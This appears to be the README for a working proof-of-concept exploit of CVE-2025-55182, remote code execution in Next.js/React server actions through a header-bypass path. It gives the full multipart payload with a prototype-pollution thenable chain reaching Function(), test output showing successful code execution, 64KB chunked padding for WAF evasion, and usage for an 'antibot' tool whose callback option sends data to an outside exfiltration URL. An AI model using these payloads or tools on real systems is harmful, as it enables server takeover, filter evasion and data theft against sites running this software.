┌─────────────────────────────────────────────────────────────────────────────┐
│                        ORIGINAL EXPLOIT (with header)                        │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Next-Action: <action-id>  ← Header required                                │
│  Content-Type: multipart/form-data                                          │
│                                                                             │
│  isFetchAction = true → decodeReply() → Chunk.prototype.then() → RCE       │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        HEADER BYPASS (no header)                             │
├─────────────────────────────────────────────────────────────────────────────┤
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data  ← NO Next-Action header!                │
│                                                                             │
│  isMultipartAction = true → decodeAction() → loadServerReference()          │
│      → Promise.all([bound]) → bound.then() → RCE                            │
└─────────────────────────────────────────────────────────────────────────────┘

const isServerAction = isFetchAction || isURLEncodedAction || isMultipartAction;

if (isMultipartAction && !isFetchAction) {
    const action = await decodeAction(formData, serverModuleMap); // BYPASS PATH
    await action();  // RCE
}

┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 1: Extract Action ID                                                   │
│  GET / → Extract from hidden inputs: <input name="$ACTION_ID_<40-hex>"/>    │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 2: Send Exploit (NO Next-Action header)                                │
│  POST / HTTP/1.1                                                            │
│  Content-Type: multipart/form-data; boundary=x                              │
│                                                                             │
│  $ACTION_REF_0: x                                                           │
│  $ACTION_0:0: {"id":"<ACTION_ID>","bound":"$@1"}                            │
│  $ACTION_0:1: <exploit payload>                                             │
│  $ACTION_0:2: "$@1"                                                         │
│  $ACTION_0:3: []                                                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                    │
                                    ▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  Step 3: Thenable Chain Execution                                            │
│                                                                             │
│  bound: "$@1" → Chunk(1)                                                    │
│      → Promise.all([bound]) calls bound.then()                              │
│      → then: "$2:__proto__:then" → Chunk.prototype.then()                   │
│      → initializeModelChunk() → "$B1337" handler                            │
│      → _formData.get = "$2:constructor:constructor" → Function              │
│      → Function(RCE_CODE) → Code Execution                                  │
└─────────────────────────────────────────────────────────────────────────────┘

❯ node test-bypass-2step.cjs
============================================================
CVE-2025-55182 Header Bypass - 2-Step Exploit
============================================================
Target: http://localhost:3000/

[Step 1] Fetching page to extract action IDs...
 ✓ Compiled / in 1105ms (523 modules)
[+] Found 1 action ID(s):
    c1cfa77a4481950d44c534f3a8174689deaefe80

[Step 2] Sending exploit payload (NO Next-Action header)...

------------------------------------------------------------
REQUEST HEADERS:
------------------------------------------------------------
POST / HTTP/1.1
Host: localhost:3000
Content-Type: multipart/form-data; boundary=----FormBoundary1765143043445
(NO Next-Action header!)

------------------------------------------------------------
REQUEST BODY (multipart form):
------------------------------------------------------------
$ACTION_REF_0: x
$ACTION_0:0 (metadata): {"id":"c1cfa77a4481950d44c534f3a8174689deaefe80","bound":"$@1"}
$ACTION_0:1 (exploit):  {"then":"$2:__proto__:then","status":"resolved_model",...}
$ACTION_0:2 (circular): "$@1"
$ACTION_0:3 (empty):    []

============================================================
*** RCE SUCCESSFUL! ***
============================================================
Proof: 2-STEP RCE SUCCESS 1765143043451

// $ACTION_0:0 - Action metadata
{"id": "<40-char-action-id>", "bound": "$@1"}

// $ACTION_0:1 - Exploit object
{
  "then": "$2:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "<RCE_CODE>//",
    "_chunks": "$Q3",
    "_formData": {"get": "$2:constructor:constructor"}
  }
}

// $ACTION_0:2 - Circular reference
"$@1"

// $ACTION_0:3 - Empty array for Map
[]

POST / HTTP/1.1
Transfer-Encoding: chunked

10200                         ← 64KB padding
--x
Content-Disposition: form-data; name="data"
AAAA... (64KB)
--x
Content-Disposition: form-data; name="$ACTION_REF_0"
...
0

npm install
npm run build && npm run start

# Run exploit
node test-chunked-v14.cjs      # For AWS WAF testing
node test-bypass-2step.cjs     # 2-step automated

# Verify
cat /tmp/2STEP-RCE.txt

node antibot.cjs [options]

Options:
  -t, --target <host>    Target hostname
  -p, --port <port>      Target port
  -c, --callback <url>   Callback URL for data exfil
  --http                 Use HTTP instead of HTTPS
  --https                Use HTTPS (default)
  -h, --help             Show help

Examples:
  node antibot.cjs -t example.vercel.app
  node antibot.cjs -t localhost -p 3000 --http
  node antibot.cjs -t target.com -c https://callback.example.com/exfil